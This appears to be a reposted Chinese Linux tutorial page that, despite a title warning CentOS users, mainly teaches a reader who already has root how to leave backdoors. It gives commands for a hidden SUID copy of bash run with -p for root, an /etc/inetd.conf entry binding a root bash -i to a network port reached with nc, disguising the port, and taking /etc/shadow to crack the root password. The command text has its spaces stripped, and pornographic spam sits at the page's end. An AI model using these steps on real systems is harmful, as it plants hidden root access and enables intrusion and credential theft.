• <input id="usqoi"><samp id="usqoi"></samp></input>
  • <blockquote id="usqoi"><input id="usqoi"></input></blockquote>
  • <input id="usqoi"><samp id="usqoi"></samp></input>
  • <sup id="usqoi"></sup>
  • 全国笔记本、surface寄修淘宝店:15weixiu.taobao.com

    当前位置:IT门户网 > 系统教程 > Win8教程 >

    CentOS小心被suid shell与inetd后门利用的详细讲解

    时间:2021-07-30    来源:IT资讯    人气:

    你现在已经是root用户,想留一个后门

    CentOS,suidshell,inetd后门

    系统环境:

    dawg:~#uname-a

    Linuxdawg2.4.20-1-386#3SatMar2212:11:40EST2003i686GNU/Linux

    1.SUIDshell

    首先,先切换成为root用户,并执行以下的命令:

    dawg:~#cp/bin/bash/.wootdawg:~#chmod4755/.wootdawg:~#ls-al/.woot-rwsr-xr-x1rootroot690668Jul2417:14/.woot

    当然,你也可以起其他更具备隐藏性的名字,我想猥琐并机智的你,肯定能想出很多好的名字的。文件前面的那一点也不是必要的,只是为了隐藏文件(在文件名的最前面加上“.”,就可以在任意文件目录下进行隐藏).

    现在,做为一个普通用户,我们来启用这个后门:

    fw@dawg:~$iduid=1000(fw)gid=1000(fw)groups=1000(fw)fw@dawg:~$/.woot.woot-2.05b$iduid=1000(fw)gid=1000(fw)groups=1000(fw).woot-2.05b$

    为什么不行呢?

    因为bash2针对suid有一些护卫的措施.但这也不是不可破的:

    .woot-2.05b$/.woot-p

    .woot-2.05b#id

    uid=1000(fw)gid=1000(fw)euid=0(root)groups=1000(fw)

    使用-p参数来获取一个rootshell.这个euid的意思是effectiveuserid(关于这些ID的知识,可以戳这里)

    这里要特别注意的是,作为一个普通用户执行这个SUIDshell时,一定要使用全路径。

    小知识:

    如何查找那些具有SUID的文件:

    dawg:~#find/-perm+4000-ls

    这时就会返回具有SUID位的文件啦。

    2.远程后门:利用/etc/inetd.conf

    我们使用vi来修改/etc/inetd.conf文件

    原文件:

    #chargendgramudpwaitrootinternal

    #discardstreamtcpnowaitrootinternal

    #discarddgramudpwaitrootinternal

    #daytimestreamtcpnowaitrootinternal

    修改为:

    #discardstreamtcpnowaitrootinternal

    #discarddgramudpwaitrootinternal

    daytimestreamtcpnowaitroot/bin/bashbash-i

    开启inetd:

    dawg:~#inetd

    如果要强制重启inetd:

    dawg:~#ps-ef|grepinetdroot36210Jul22?00:00:00/usr/sbin/inetdroot1376913643017:51pts/100:00:00grepinetddawg:~#kill-HUP362

    现在我们就可以用nc来爆菊了:

    C:tools192.168.1.77:inversehostlookupfailed:h_errno11004:NO_DATA

    (UNKNOWN)[192.168.1.77]13(daytime)open

    bash:nojobcontrolinthisshell

    bash-2.05b#bash-2.05b#

    bash-2.05b#iduid=0(root)

    gid=0(root)groups=0(root)bash-2.05b#uname-a

    Linuxdawg2.4.20-1-386#3SatMar2212:11:40EST2003i686GNU/Linux

    小贴士:

    我们可以修改/etc/services文件,加入以下的东西:

    woot6666/tcp#evilbackdoorservice

    然后修改/etc/inetd.conf:

    wootstreamtcpnowaitroot/bin/bashbash-i

    我们可以修改成一些常见的端口,以实现隐藏。

    小编感言:其实下/etc/shadow文件,爆破root的密码才最保险啊!

    相关文章

    • CentOS下如何挂载NTFS格式盘?CentOS下挂载NTFS格式盘的方法

      CentOS下如何挂载NTFS格式盘?CentOS下挂载NTFS格式盘的方法

      安装 ntfs-3g cd /tmp #wget wget tar -zxf ntfs-3g-2010.8.8.tgz cd /tmp/ntfs-3g-2010.8.8 ./configure make make install 挂载命令: mount -t ntfs-3g /dev/sda1 /mnt/windows 开机挂载: #vi /etc/f...
      2021-07-30 12.07.05
    • CentOS下如何查看网络状态?CentOS下查看网络状态的方法

      CentOS下如何查看网络状态?CentOS下查看网络状态的方法

      查看网络状态: lsof -Pnl +M -i4 显示ipv4服务及监听端情况 netstat -anp 所有监听端口及对应的进程 netstat -tlnp 功能同上 网络基本命令 (1)network service的制御...
      2021-07-30 12.07.57
    • CentOS下把home空间的分出来给root的方法

      CentOS下把home空间的分出来给root的方法

      下面的操作是通过实际操作完成的。 下面的例子尝试吧home空间的20G中的5G分出来给root空间 [root@localhost ~]# df -h 文件系统 容量 已用 可用 已用%% 挂载点 /d...
      2021-07-30 12.07.53
    • CentOS正确关机方法讲解

      CentOS正确关机方法讲解

      1.1观察系统使用状态 谁在线:who 联网状态:netstat -a 后台执行的程序:ps -aux 1.2通知在线使用者关机时间 shutdown +2 The machine will shutdown # 2min后关机,并通知在线...
      2021-07-30 12.07.49
    • CentOS让Apache网页显示中文的讲解

      CentOS让Apache网页显示中文的讲解

      LANG=zh_CN.GB18030 SUPPORTED=zh_CN.GB18030:zh_CN:zh:en_US.UTF-8:en_US:en SYSFONT=latarcyrheb-sun16 /etc/sysconfig/i18n 这里存放的是系统的区域语言设置, i18n是 国际化internationaliza...
      2021-07-30 12.07.46

    Win8教程排行榜

    更多>>

    网络知识排行榜

    更多>>

    系统教程排行榜

    更多>>

    微信号

    欧美牲交a欧美牲交aⅴ免费真_a片免费视频在线观看完整版_国产午夜无码片在线观看_饱满的乳峰喷奶水视频